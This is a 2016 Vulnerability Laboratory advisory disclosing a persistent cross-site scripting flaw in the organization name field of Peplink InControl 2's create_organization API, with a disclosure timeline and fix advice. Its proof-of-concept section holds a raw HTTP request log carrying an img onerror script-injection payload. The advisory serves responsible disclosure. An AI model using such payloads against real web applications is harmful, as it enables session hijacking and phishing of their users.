Peplink InControl 2 CDM - (API) Persistent Vulnerability

2016-05-18T00:00:00
ID VULNERLAB:1841
Type vulnerlab
Reporter Vulnerability Laboratory [Research Team] - Lawrence Amer - http://www.vulnerability-lab.com/show.php?user=Lawrence%20Amer
Modified 2016-05-18T00:00:00

Description

                                        
                                            Document Title:
===============
Peplink InControl 2 CDM - (API) Persistent Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1841


Release Date:
=============
2016-05-18


Vulnerability Laboratory ID (VL-ID):
====================================
1841


Common Vulnerability Scoring System:
====================================
3.3


Product & Service Introduction:
===============================
InControl 2 provides full-fleet device management when used in combination with our vehicle-mounted, GPS–enabled devices, such as 
the MAX HD2 and BR1. Track your devices wherever they are using our interactive maps. Check vehicle speed, cellular coverage, and 
traffic conditions. Play back route histories in real-time.

(Copy of the Homepage: http://www.peplink.com/products/incontrol-2/ )


Abstract Advisory Information:
==============================
The vulnerability lab core team discovered an application-side web vulnerability in the official Peplink InControl 2 cloud based device managemet web-application.


Vulnerability Disclosure Timeline:
==================================
2016-05-11: Researcher Notification & Coordination (Lawrence Amer - Vulnerability Laboratory)
2016-05-12: Vendor Notification (Peplink Security Team)
2016-05-17: Vendor Fix/Patch (Peplink Security Team)
2016-05-18: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Peplink
Product: InControl 2 - Cloud Device Managment (Web-Application) 2016 Q2


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
A persistent cross site vulnerability has been discoverd in the official Peplink InControl 2 cloud based device managemet web-application.
The security issue allows remote attackers to inject own malicious script codes to the application-side of the vulnerable service module.

The vulnerability is located in `create_organization` parameter of the `/r/api/create_organization` module. 
Remote attackers and low privileged web-application user accounts are able to inject own malicious script code context in the 
organization name field. The data of the POST method request is bypassing the validation, executes without a secure encoding 
or a restriction in the web-application. The persistent execution point occurs in the organization name parameter of that 
appeared setup wizard. The injection point is the create_organization POST method request of the basic service API. The issue 
can be exploited by remote attackers with prepared url as POST method request or via escalte by a restricted user account.

The security risk of the web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.3. 
Exploitation of the persistent input validation web vulnerability requires a low privileged web-application user account but is not 
limited to and low or medium user interaction. Successful exploitation of the vulnerability results in session hijacking, persistent 
phishing attacks, persistent external redirects to malicious source and persistent manipulation of affected or connected application modules.

Request Method(s): 
			[+] POST 

Vulnerable Module(s)
			[+] ./r/api/create_organization

Vulnerable Parameter(s)
			[+] organization_name 

Affected Module(s):
			[+] setup wizard menu


Proof of Concept (PoC):
=======================
The persistent vulnerability can be exploited by remote attackers with low privileged application user account and low or medium user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.


1. User goes to "incontrol2.host.com" to login 
2. After that the attacker goes to create_organization dialog 
3. The vulnerable parameter is the organization_name input 
Note: Fill the form with a persistent payload to executes malicious code in the marked vulnerable inputs 
4. The execution of persistent payload occured in the main application module for all users that are connected to the ogranization name parameter
5. Successful reprodue of the vulnerability!


--- PoC Session Logs [POST] (Inject) ---
POST /r/api/create_organization HTTP/1.1
Host: incontrol2.peplink.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:22.0) Gecko/20100101 Firefox/22.0 Iceweasel/22.0
Referer: https://incontrol2.peplink.com/login/create_organization
Cookie: __cfduid=d707771df2752d18740d39236d1f748901462987506; cf_clearance=795312ce388f66ea25954de6514ea44c150670fb-1462987511-3600; _littlecloud_session=c5bcb013d01b43ac7aef061a8c06ccc5; AWSELB=654DC1ED0EA27CE779185AE71C67FFFBC26DEA4D4C76ABADFA499E48512290AA839DFEB3C85A050DAF9EBFFA13657758D2C7CB78CB12516BCEB2609826860C3B357F516812A24557B4577E1698A9FA1952FA5271843ECDF42157633A1E90C9E2733A6F1608; _ga=GA1.2.897268804.1463013548; _gat=1; __lt=MHxSpYExghJd3H4QyDqxxCpDriKxX4fgbpLxnE5c60M%3D; __landing=true
Connection: keep-alive
-
user%5Bid%5D=QXSkkP&organization%5Bname%5D=%22%3E%3Cimg+src%3Dx+onerror%3Dprompt(1)%3E&organization%5Bcountry%5D=SY&organization%5Baddress%5D=Syrian+Arab+Republic&organization%5Blatitude%5D=35&organization%5Blongitude%5D=38&organization%5Bspeed_unit%5D=km

--- PoC Session Logs [GET] (Execution) ---
Host: earth.ic.peplink.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:22.0) Gecko/20100101 Firefox/22.0 Iceweasel/22.0
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://earth.ic.peplink.com/o/kXUhPV/overview
Cookie: __cfduid=d707771df2752d18740d39236d1f748901462987506; cf_clearance=5d684461a6082376cbeaccc064231368b39e6bf3-1462991504-3600; _ga=GA1.2.897268804.1463013548; _littlecloud_session=900437254e7fcbb48fd84aa00862ba88; AWSELB=654DC1ED0EA27CE779185AE71C67FFFBC26DEA4D4C8F60904039BDCF1203BA5C6CD897B404DD197A779A819DE8857B588411DBA5B0E7CF5EB4DBFC26CEEC127B31CC172C79422529531BB059BA49AC0EC9DFBC3854BA99767719E4F6B8F907CA66E5F532EE; __lt=ZyCgo0hCOPbsNN62EP4MnuNuwnuHwWF5wrFp6XLVxug%3D; __landing=true; __sut=q5s7lU8tPrfhHK1Iw6vcoZZKfaRYp%2BvfVtjKoczLAZA%3D; __tot=7VI5498ZCqPAQzbQVUOdsA%3D%3D; __to=iBb1dIoQmOYobrHvKHBwUA%3D%3D; __ofpae=Unm8Pi26LBh7XrsDM4q4sA%3D%3D; __oite=Unm8Pi26LBh7XrsDM4q4sA%3D%3D; last_redirection=IEI7oak0byOWgQsCMp6FyrtU1h%2FRGSWBUD%2BA3bJmqdyH%2FSEGpG3iVCvjUI%2Bp7RNNC2n8R78DbU2pQwEMWn4zWw%3D%3D; _gat=1
Connection: keep-alive


Reference(s):
https://incontrol2.peplink.com/
https://incontrol2.peplink.com/login/
https://incontrol2.peplink.com/login/create_organization
https://incontrol2.peplink.com/r/api/create_organization
https://earth.ic.peplink.com/
https://earth.ic.peplink.com/o/
https://earth.ic.peplink.com/o/kXUhPV/
https://earth.ic.peplink.com/o/kXUhPV/overview


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse and encode of the vulnerable input field context.
Encode all inputs and restrict the input by disallowing the usage of special chars.
Parse also the outgoing values for the user notification by the appliance service itself to prevent malicious attack scenarios.

Note: The manufacturer of the product published an update regarding the security issues to PepLink InControl version 2.2.0.


Security Risk:
==============
The security risk of the application-side web vulnerability in the cloud web-application are estimated as medium. (CVSS 3.3)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Lawrence Amer - http://www.vulnerability-lab.com/show.php?user=Lawrence%20Amer


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, 
including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, 
including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised 
of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing 
limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.

Domains:    www.vulnerability-lab.com 		- www.vuln-lab.com 						- www.evolution-sec.com
Contact:    admin@vulnerability-lab.com 	- research@vulnerability-lab.com 				- admin@evolution-sec.com
Section:    magazine.vulnerability-lab.com 	- vulnerability-lab.com/contact.php 				- evolution-sec.com/contact
Social:	    twitter.com/vuln_lab		- facebook.com/VulnerabilityLab 				- youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php 	- vulnerability-lab.com/rss/rss_upcoming.php 			- vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php 	- vulnerability-lab.com/list-of-bug-bounty-programs.php 	- vulnerability-lab.com/register.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically 
redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or 
its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific 
authors or managers. To record, list, modify, use or edit our material contact (admin@ or research@vulnerability-lab.com) to get a ask permission.

				    Copyright © 2016 | Vulnerability Laboratory - [Evolution Security GmbH]™